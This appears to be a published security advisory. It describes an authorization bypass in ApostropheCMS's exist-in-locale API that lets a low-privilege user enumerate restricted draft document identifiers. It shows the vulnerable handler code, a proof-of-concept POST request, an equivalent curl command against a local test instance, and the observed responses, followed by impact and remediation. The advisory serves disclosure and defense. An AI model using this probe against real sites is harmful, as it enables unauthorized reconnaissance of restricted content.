ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers

**Summary** ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria. The issue was reproduced against a real local ApostropheCMS application running the reviewed source code. The test used a synthetic guest account and synthetic restricted draft records. **Details** Exact vulnerable source path: ` packages/apostrophe/modules/@apostrophecms/i18n/index.js:503-529` Exact API route:` POST /api/v1/@apostrophecms/i18n/exist-in-locale` The handler verifies only that the requester is authenticated: ``` if (!req.user) { throw self.apos.error('notfound'); } ``` It then performs a direct database lookup using attacker-controlled document IDs, locale, and mode: ``` const found = await self.apos.doc.db.find({ aposLocale: `${locale}:${mode}`, aposDocId: { $in: ids.map(self.apos.doc.toAposDocId) } }).project({ _id: 1, aposDocId: 1 }).toArray(); ``` This query does not apply: .permission('view') .permission('edit') apos.permission.criteria(req, 'view') object-level document authorization locale-specific authorization The endpoint accepts multiple IDs, making bulk probing possible. **Proof of Concept** The local application was running at: http://127.0.0.1:3000 The test account had the low-privilege role: guest The local database contained synthetic records for the restricted document base ID: ``` wv2l4rbaplgzkg80zkne4aoz:en:draft wv2l4rbaplgzkg80zkne4aoz:fr:draft ``` All credentials and cookies are intentionally redacted below. ``` POST /api/v1/@apostrophecms/i18n/exist-in-locale HTTP/1.1 Host: 127.0.0.1:3000 Cookie: <redacted-authenticated-guest-session> Content-Type: application/json Accept: application/json { "ids": [ "wv2l4rbaplgzkg80zkne4aoz:en:draft", "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft" ], "locale": "fr", "mode": "draft" } ``` **Equivalent command** ``` curl -i -sS -X POST \ 'http://127.0.0.1:3000/api/v1/@apostrophecms/i18n/exist-in-locale' \ -b /path/to/redacted-guest-cookie-jar.txt \ -H 'Content-Type: application/json' \ -H 'Accept: application/json' \ --data-raw '{ "ids": [ "wv2l4rbaplgzkg80zkne4aoz:en:draft", "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft" ], "locale": "fr", "mode": "draft" }' ``` **Observed response** ``` HTTP/1.1 200 OK X-Powered-By: Express Content-Type: application/json; charset=utf-8 ``` ``` { "originalLocaleIds": [ "wv2l4rbaplgzkg80zkne4aoz:en:draft" ], "newLocaleIds": [ "wv2l4rbaplgzkg80zkne4aoz:fr:draft" ], "aposDocIds": [ "wv2l4rbaplgzkg80zkne4aoz" ] } ``` The nonexistent ID was omitted from the response. This proves that the endpoint acts as an existence oracle. **Authorization control** Using the same authenticated guest session and the localized document identifier returned above, the normal page API was requested: ``` GET /api/v1/@apostrophecms/page/wv2l4rbaplgzkg80zkne4aoz:fr:draft HTTP/1.1 Host: 127.0.0.1:3000 Cookie: <redacted-authenticated-guest-session> Accept: application/json ``` **Observed response:** ``` HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8 ``` ``` { "name": "forbidden", "data": {}, "message": "forbidden" } ``` This demonstrates the authorization boundary clearly: | Request | Result | | ----------------------------------------------- | ----------------------------------- | | Normal page API for the restricted draft | `403 Forbidden` | | `exist-in-locale` for the same restricted draft | `200 OK` with localized document ID | | `exist-in-locale` for a nonexistent ID | `200 OK` with empty arrays | **Additional impact validation** The behavior was also tested across multiple locale and mode combinations: | Query | Result | | ----------------------------- | ---------------------------------------------------------- | | `locale=fr`, `mode=draft` | Returned `wv2l4rbaplgzkg80zkne4aoz:fr:draft` | | `locale=fr`, `mode=published` | Returned empty arrays because no published fixture existed | | `locale=de`, `mode=draft` | Returned empty arrays because no German fixture existed | | Two IDs in one request | Existing ID returned; nonexistent ID omitted | This confirms that the endpoint can be used to discover whether a document has a localized draft in a particular locale and to perform bulk enumeration. Impact A low-privilege authenticated user can: Probe arbitrary known or guessed document base IDs. Determine whether restricted documents have localized versions. Determine whether unpublished draft versions exist. Identify which locales contain matching records. Obtain exact localized document identifiers. Submit multiple IDs in one request for bulk reconnaissance. The issue does not directly disclose the document body or grant write, publish, or delete privileges. During testing, no content was modified, published, deleted, or exposed beyond the identifier metadata. Recommended remediation Before executing the database lookup, apply the same document-level authorization criteria used by the normal document API. The query should be restricted to documents the requester is authorized to view in the requested locale and mode. Draft queries should additionally require the appropriate draft-view permission for the specific document, not merely authentication or a global role check. The endpoint should also avoid returning localized document identifiers for records that fail the requester’s document-level permission criteria. [[1] ApostropheCMS i18n source — existInLocale handler, lines 503–529](https://github.com/apostrophecms/apostrophe/blob/61d137f31a0de15a8eb70b7e65032e0519fc6e61/packages/apostrophe/modules/@apostrophecms/i18n/index.js#L503-L529) [[2] Official ApostropheCMS i18n API documentation](https://apostrophecms.com/docs/reference/api/i18n.html)

Source published

20 Oct 2026 18:19:34 UTC

Source modified

20 Oct 2026 18:30:03 UTC

Observed here

24 Oct 2026 13:17:17 UTC

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CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Publisher rating · MODERATE